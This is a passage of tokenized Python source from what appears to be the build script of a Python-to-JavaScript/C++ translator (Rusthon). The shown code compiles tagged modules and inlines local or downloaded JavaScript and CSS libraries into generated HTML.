"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "src_", "=_", "tagg", "roup", "s_", "[_", "tagname_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "src_", "._", "append_", "(_", "mod_", "[_", "'", "code", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "tagname_", "in_", "tagg", "roup", "s_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "group", "src_", "=_", "'\\\\", "n", "'_", "._", "join_", "(_", "tagg", "roup", "s_", "[_", "tagname_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "js_", "=_", "compile", "\\u", "js_", "(_", "group", "src_", ",_", "module", "\\u", "path_", ",_", "main", "\\u", "name_", "=_", "tagname_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tagged_", "[_", "tagname_", "]_", "=_", "js_", "[_", "tagname_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tagg", "ed", "\\u", "trans", "\\u", "src_", "[_", "tagname_", "]_", "=_", "group", "src_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "name_", "in_", "js_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "output_", "[_", "'", "javascript", "'_", "]_", "._", "append_", "(_", "{_", "'", "name", "'_", ":_", "name_", ",_", "'", "script", "'_", ":_", "js_", "[_", "name_", "]_", ",_", "'", "index", "'_", ":_", "index_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cpy", "embed_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nu", "itk", "a_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nu", "itk", "a", "\\u", "include", "\\u", "path_", "=_", "None_", "##", " ", "TOD", "O", " ", "option", " ", "for", " ", "this_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nu", "itk", "a", "\\u", "module", "\\u", "name_", "=_", "'", "unn", "ame", "d\\u", "nu", "itk", "a", "\\u", "module", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "modules_", "[_", "'", "python", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "mod", "s", "\\u", "sorte", "d\\u", "by", "\\u", "index_", "=_", "sorted_", "(_", "modules_", "[_", "'", "python", "'_", "]_", ",_", "key_", "=_", "lambda_", "mod_", ":_", "mod_", "._", "get_", "(_", "'", "index", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "mod_", "in_", "mod", "s", "\\u", "sorte", "d\\u", "by", "\\u", "index_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "if_", "mod_", "[_", "'", "tag", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "name_", "=_", "mod_", "[_", "'", "tag", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "name_", "==_", "'", "nu", "itk", "a", "'_", "or_", "name_", "._", "startswith_", "(_", "'", "nu", "itk", "a", ":'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "if_", "':'_", "in_", "name_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "nu", "itk", "a", "\\u", "module", "\\u", "name_", "=_", "name_", "._", "split_", "(_", "':'_", ")_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "len_", "(_", "nu", "itk", "a_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", " ", "\\u\\u", "file", "\\u\\u", " ", "is", " ", "undefined", " ", "whe", "n", " ", "CP", "yth", "on", " ", "is", " ", "embedde", "d_", "\\u\\u\\uNL\\u\\u\\u_", "#", "cpy", "embed", ".", "append", "('", "sys", ".", "path", ".", "append", "(", "os", ".", "path", ".", "dir", "name", "(\\u", "\\u", "file", "\\u\\u)", ")'", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "cpy", "embed", ".", "append", "('", "print", " ", "sys", ".", "argv", "')", " ", " ", "##", " ", "als", "o", " ", "undefined", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "cpy", "embed_", "._", "append_", "(_", "'", "import", " ", "sys", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cpy", "embed_", "._", "append_", "(_", "'", "sys", ".", "path", ".", "append", "(\".", "/\"", ")'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cpy", "embed_", "._", "append_", "(_", "'", "from", " ", "%", "s", " ", "import", " ", "*'_", "%_", "nu", "itk", "a", "\\u", "module", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "nu", "itk", "a_", "._", "append_", "(_", "mod_", "[_", "'", "code", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "name_", "==_", "'", "embed", "'_", "or_", "name_", "==_", "'", "embed", ":", "cpy", "tho", "n", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "cpy", "embed_", "._", "append_", "(_", "mod_", "[_", "'", "code", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "if_", "not_", "name_", "._", "endswith_", "(_", "'.", "py", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "name_", "+=_", "'.", "py", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "output_", "[_", "'", "python", "'_", "]_", "._", "append_", "(_", "{_", "'", "name", "'_", ":_", "name_", ",_", "'", "script", "'_", ":_", "mod_", "[_", "'", "code", "'_", "]_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "if_", "len_", "(_", "output_", "[_", "'", "python", "'_", "]_", ")_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "python", "\\u", "main_", "[_", "'", "script", "'_", "]_", "._", "append_", "(_", "mod_", "[_", "'", "code", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "output_", "[_", "'", "python", "'_", "]_", "[_", "-_", "1_", "]_", "[_", "'", "script", "'_", "]_", "+=_", "'\\\\", "n", "'_", "+_", "mod_", "[_", "'", "code", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "cpp", "\\u", "merge_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "merge_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nu", "itk", "a", "\\u", "funcs_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "java", "2r", "ust", "hon", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "merge_", "._", "extend_", "(_", "java", "2r", "ust", "hon", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "java", "2r", "ust", "hon", "_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "nim", "\\u", "wrappers_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", " ", "inserts", " ", "generat", "ed", " ", "rust", "hon", " ", "nim", " ", "wrapp", "ers", " ", "int", "o", " ", "script", " ", "bef", "ore", " ", "translatio", "n", " ", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "nim", "\\u", "wrappers_", "._", "insert_", "(_", "0_", ",_", "'#", " ", "nim", " ", "wrapp", "ers", " ", "generat", "ed", " ", "by", " ", "rust", "hon", " ", "#'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nim", "\\u", "wrappers_", "._", "insert_", "(_", "1_", ",_", "'", "with", " ", "extern", "(", "abi", "=\"", "C", "\"):", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "merge_", "._", "extend_", "(_", "nim", "\\u", "wrappers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "nu", "itk", "a_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "npa", "k", " ", "=", " ", "nu", "itk", "a", "\\u", "compile", "\\u", "integrated", "('\\", "\\", "n", "'.", "join", "(", "nu", "itk", "a", "),", " ", "nu", "itk", "a", "\\u", "funcs", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "for", " ", "h", " ", "in", " ", "npa", "k", "['", "files", "']", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "module", "s", "['", "c", "++", "']", ".", "append", "(_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "\t", "{", "'", "code", "':", "h", "['", "data", "']", ",", " ", "'", "tag", "':", "h", "['", "name", "']", ",", " ", "'", "index", "':", "0", "}_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "ns", "rc_", "=_", "'\\\\", "n", "'_", "._", "join_", "(_", "nu", "itk", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output_", "[_", "'", "c", "++'_", "]_", "._", "append_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "static", "lib", "'_", ":_", "nu", "itk", "a", "\\u", "compile_", "(_", "ns", "rc_", ",_", "nu", "itk", "a", "\\u", "module", "\\u", "name_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "source", "-", "name", "'_", ":_", "'", "my", "\\u", "nu", "itk", "a", "\\u", "module", ".", "py", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "my", "\\u", "nu", "itk", "a", "\\u", "module", ".", "so", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "source", "'_", ":_", "ns", "rc_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "merge_", "._", "extend_", "(_", "cpp", "\\u", "merge_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "script_", "=_", "'\\\\", "n", "'_", "._", "join_", "(_", "merge_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pyj", "s_", "=_", "python", "\\u", "to", "\\u", "python", "js_", "(_", "script_", ",_", "cpp_", "=_", "True_", ",_", "module", "\\u", "path_", "=_", "module", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pak", "_", "=_", "translat", "e\\u", "to", "\\u", "cpp_", "(_", "pyj", "s_", ",_", "cache", "d\\u", "json", "\\u", "files_", "=_", "cache", "d\\u", "json_", ")_", "##", " ", "pak", " ", "contain", "s", ":", " ", "c\\u", "header", " ", "and", " ", "cpp", "\\u", "header_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n_", "=_", "len_", "(_", "modules_", "[_", "'", "c", "++'_", "]_", ")_", "+_", "len_", "(_", "gi", "ws_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cpp", "code_", "=_", "pak", "_", "[_", "'", "main", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "if", " ", "nu", "itk", "a", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "cpp", "code", " ", "=", " ", "npa", "k", "['", "main", "']", " ", "+", " ", "'\\\\", "n", "'", " ", "+", " ", "cpp", "code_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "cpy", "embed_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "inline", "py_", "=_", "(_", "'\\\\", "n", "'_", "._", "join_", "(_", "cpy", "embed_", ")_", ")_", "._", "replace_", "(_", "'\\\\", "n", "'_", ",_", "'\\\\\\\\", "n", "'_", ")_", "._", "replace_", "(_", "'\"'_", ",_", "'\\\\\\\\", "\"'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "static", "str_", "=_", "'", "const", " ", "char", "*", " ", "\\u\\u", "python", "\\u", "main", "\\u", "script", "\\u\\u", " ", "=", " ", "\"%", "s", "\";", "\\\\", "n", "'_", "%_", "inline", "py_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cpp", "code_", "=_", "static", "str_", "+_", "cpp", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "modules_", "[_", "'", "c", "++'_", "]_", "._", "append_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "code", "'_", ":_", "cpp", "code_", ",_", "'", "index", "'_", ":_", "n_", "+_", "1_", ",_", "'", "link", "s", "'_", ":_", "cpp", "\\u", "links_", ",_", "'", "include", "-", "dirs", "'_", ":_", "cpp", "\\u", "idi", "rs_", ",_", "'", "defin", "es", "'_", ":_", "cpp", "\\u", "defines_", "}_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "##", " ", "gets", " ", "compile", "d", " ", "below_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "HTM", "L", " ", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "modules_", "[_", "'", "html", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "mod", "s", "\\u", "sorte", "d\\u", "by", "\\u", "index_", "=_", "sorted_", "(_", "modules_", "[_", "'", "html", "'_", "]_", ",_", "key_", "=_", "lambda_", "mod_", ":_", "mod_", "._", "get_", "(_", "'", "index", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "mod_", "in_", "mod", "s", "\\u", "sorte", "d\\u", "by", "\\u", "index_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "html_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "line_", "in_", "mod_", "[_", "'", "code", "'_", "]_", "._", "splitlines_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", " ", "`~", "/", "some", "/", "path", "/", "mys", "cript", ".", "js", "`", " ", "special", " ", "synta", "x", " ", "to", " ", "copy", " ", "javascript", " ", "direct", "ly", " ", "int", "o", " ", "the", " ", "output", " ", "html", ",", " ", "good", " ", "for", " ", "testi", "ng", " ", "local", "ly", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "if_", "line_", "._", "strip_", "(_", ")_", "._", "startswith_", "(_", "'<", "script", " ", "'_", ")_", "and_", "line_", "._", "strip_", "(_", ")_", "._", "endswith_", "(_", "'<", "/", "script", ">'_", ")_", "and_", "'", "src", "=\"", "~", "/'_", "in_", "line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "url_", "=_", "line_", "._", "split_", "(_", "'", "src", "=\"'_", ")_", "[_", "-_", "1_", "]_", "._", "split_", "(_", "'\"'_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "os_", "._", "path_", "._", "expanduser_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "isfile_", "(_", "url_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "html_", "._", "append_", "(_", "'<", "script", " ", "type", "=\"", "text", "/", "javascript", "\">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "html_", "._", "append_", "(_", "open_", "(_", "url_", ",_", "'", "rb", "'_", ")_", "._", "read_", "(_", ")_", "._", "decode_", "(_", "'", "utf", "-", "8", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "html_", "._", "append_", "(_", "'<", "/", "script", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "'", "git", "=\"'_", "in_", "line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "git", "url_", "=_", "line_", "._", "split_", "(_", "'", "git", "=\"'_", ")_", "[_", "-_", "1_", "]_", "._", "split_", "(_", "'\"'_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "download", "ing", " ", "librar", "y", "->", " ", "'_", "+_", "git", "url_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmd_", "=_", "[_", "'", "git", "'_", ",_", "'", "clone", "'_", ",_", "git", "url_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subprocess_", "._", "check", "\\u", "call_", "(_", "cmd_", ",_", "cwd_", "=_", "os_", "._", "environ_", "[_", "'", "HOM", "E", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "os_", "._", "path_", "._", "isfile_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "html_", "._", "append_", "(_", "'<", "script", " ", "type", "=\"", "text", "/", "javascript", "\">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "html_", "._", "append_", "(_", "open_", "(_", "url_", ",_", "'", "rb", "'_", ")_", "._", "read_", "(_", ")_", "._", "decode_", "(_", "'", "utf", "-", "8", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "html_", "._", "append_", "(_", "'<", "/", "script", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "'", "source", "=\"'_", "in_", "line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "src", "url_", "=_", "line_", "._", "split_", "(_", "'", "source", "=\"'_", ")_", "[_", "-_", "1_", "]_", "._", "split_", "(_", "'\"'_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "download", "ing", " ", "javascript", "->", " ", "'_", "+_", "src", "url_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urllib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "src", "data_", "=_", "urllib_", "._", "urlopen_", "(_", "src", "url_", ")_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "srcp", "ath_", "=_", "os_", "._", "path_", "._", "split_", "(_", "url_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "isdir_", "(_", "srcp", "ath_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t\t_", "os_", "._", "makedirs_", "(_", "srcp", "ath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "open_", "(_", "url_", ",_", "'", "wb", "'_", ")_", "._", "write_", "(_", "src", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "os_", "._", "path_", "._", "isfile_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "html_", "._", "append_", "(_", "'<", "script", " ", "type", "=\"", "text", "/", "javascript", "\">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "html_", "._", "append_", "(_", "open_", "(_", "url_", ",_", "'", "rb", "'_", ")_", "._", "read_", "(_", ")_", "._", "decode_", "(_", "'", "utf", "-", "8", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "html_", "._", "append_", "(_", "'<", "/", "script", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "print_", "(_", "'", "ERROR", ":", " ", "coul", "d", " ", "not", " ", "find", " ", "file", " ", "to", " ", "inline", ":", " ", "%", "s", "'_", "%_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "html_", "._", "append_", "(_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "line_", "._", "strip_", "(_", ")_", "._", "startswith_", "(_", "'<", "link", " ", "'_", ")_", "and_", "(_", "'", "href", "=\"", "~", "/'_", "in_", "line_", "or_", "\"", "href", "='", "~", "/\"_", "in_", "line_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "zip", "url_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "zip", "=\"'_", "in_", "line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "zip", "url_", "=_", "line_", "._", "split_", "(_", "'", "zip", "=\"'_", ")_", "[_", "-_", "1_", "]_", "._", "split_", "(_", "'\"'_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "href", "=\"'_", "in_", "line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "url_", "=_", "line_", "._", "split_", "(_", "'", "href", "=\"'_", ")_", "[_", "-_", "1_", "]_", "._", "split_", "(_", "'\"'_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "url_", "=_", "line_", "._", "split_", "(_", "\"", "href", "='\"_", ")_", "[_", "-_", "1_", "]_", "._", "split_", "(_", "\"'\"_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "url_", "=_", "os_", "._", "path_", "._", "expanduser_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "isfile_", "(_", "url_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "html_", "._", "append_", "(_", "'<", "style", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "html_", "._", "append_", "(_", "open_", "(_", "url_", ",_", "'", "rb", "'_", ")_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "html_", "._", "append_", "(_", "'<", "/", "style", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "zip", "url_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "import_", "urllib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "download", "ing", " ", "css", " ", "librar", "y", "->", "'_", "+_", "zip", "url_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "zip", "data_", "=_", "urllib_", "._", "urlopen_", "(_", "zip", "url_", ")_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "open_", "(_", "'/", "tmp", "/", "css", "lib", ".", "zip", "'_", ",_", "'", "wb", "'_", ")_", "._", "write_", "(_", "zip", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subprocess_", "._", "check", "\\u", "call_", "(_", "[_", "'", "unzip", "'_", ",_", "'/", "tmp", "/", "css", "lib", ".", "zip", "'_", "]_", ",_", "cwd_", "=_", "os_", "._", "environ_", "[_", "'", "HOM", "E", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "html_", "._", "append_", "(_", "'<", "style", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "html_", "._", "append_", "(_", "open_", "(_", "url_", ",_", "'", "rb", "'_", ")_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "html_", "._", "append_", "(_", "'<", "/", "style", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "print_", "(_", "'", "ERROR", ":", " ", "coul", "d", " ", "not", " ", "find", " ", "css", " ", "file", " ", "to", " ", "inline", ":", " ", "%", "s", "'_", "%_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "html_", "._", "append_", "(_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "html_", "._", "append_", "(_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "html_", "=_", "unicode_", "(_", "'\\\\", "n", "'_", "._", "join_", "(_", "html_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "tagname_", "in_", "tagged_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "tag_", "=_", "u", "'<", "@", "%", "s", ">'_", "%_", "tagname_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "js_", "=_", "tagged_", "[_", "tagname_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "tag_", "in_", "html_", ":_", 